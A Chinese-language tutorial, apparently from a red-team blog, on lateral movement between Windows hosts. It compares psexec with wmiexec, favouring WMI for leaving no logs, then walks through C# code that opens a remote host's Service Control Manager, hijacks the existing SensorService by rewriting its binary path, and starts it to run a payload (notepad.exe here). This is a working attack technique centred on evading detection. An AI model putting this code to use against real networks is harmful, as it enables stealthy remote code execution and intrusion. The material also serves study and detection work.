Northeast Assassin King

无文件横向移动

0x01

之前遇到过一些场景,比如使用psexec和wmi的区别。

psexec执行原理

1.通过ipc$连接,释放psexecsvc.exe到目标 2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。 3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。 4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec

工具说明: 需要远程系统开启admin$共享 建立IP超链接后可以不指定用户名和密码 不能仅拷贝文件不行执行,拷贝时可以建立ipc连接后拷贝 在启动psexec建立连接后,远程系统上会被安装一个服务:psexecsvc,安装服务会留下日志,而且psexec推出时有可能服务删除失败,所以不推荐使用psexec

wmiexec执行原理

wmi介绍 全称是Windows management instrumentation,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但Windows系统默认不会再日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用wmiexec进行远程执行命令 wmiexec介绍 大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

0x02

完成身份验证

重构下功能, 使用OpenSCManagerW api

微软官方查看OpenSCMangerW函数原型

参数lpMachineName写计算机名字,lpDatabaseName服务控制管理器数据库的名称,此参数如果是Null,则默认打开SERVICES_ACTIVE_DATABASE数据库,参数dwDesiredAcess是对服务控制管理器的访问权限,给他完整的SC_MANAGER_ALL_ACCESS,数值为0xF003F

using System;
using System.Runtime.InteropServices;
namespace NoPsexec
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true,
       CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName,
       uint dwAccess);
        static void Main(string[] args)
        {   
            String target = "Web01"; //计算机名称

            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
        }
    }

}

打开现有服务

我们需要打开一个现有的服务,使用OpenService api

OpenService三个参数,将句柄给OpenSCManager收到的服务控制管理器,第二个参数lpServiceName写服务名称,最后一个参数是服务权限,直接给到最高权限完全控制即可,Service_all_access

定义一个ServiceName,这里使用string ServiceName = “SensorService”;

一项用于管理各种传感器的功能的传感器服务。管理传感器的简单设备方向(SDO)和历史记录。加载对设备方向变化进行报告的 SDO 传感器。如果停止或禁用了此服务,则将不会加载 SDO 传感器,因此不会发生自动旋转。来自传感器的历史记录收集也将停止。

修改服务二进制文件

使用ChangeServiceConfigAPI更改服务二进制文件

BOOL ChangeServiceConfigA( [in] SC_HANDLE hService, [in] DWORD dwServiceType, [in] DWORD dwStartType, [in] DWORD dwErrorControl, [in, optional] LPCSTR lpBinaryPathName, [in, optional] LPCSTR lpLoadOrderGroup, [out, optional] LPDWORD lpdwTagId, [in, optional] LPCSTR lpDependencies, [in, optional] LPCSTR lpServiceStartName, [in, optional] LPCSTR lpPassword, [in, optional] LPCSTR lpDisplayName );

 static void Main(string[] args)
        {   
            String target = "Db02"; //计算机名称

            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
            string ServiceName = "SensorService";
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
            string payload = "notepad.exe";
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
            null, null, null, null);
        }


已经把SensorService的服务可执行文件路径修改成了notepad.exe

启动服务

bResult = StartService(schService, 0, null);

最后直接NoPsexec.exe即可,Process Explorer里面可以看到起了一个Notepad.exe进程。

完整代码见github.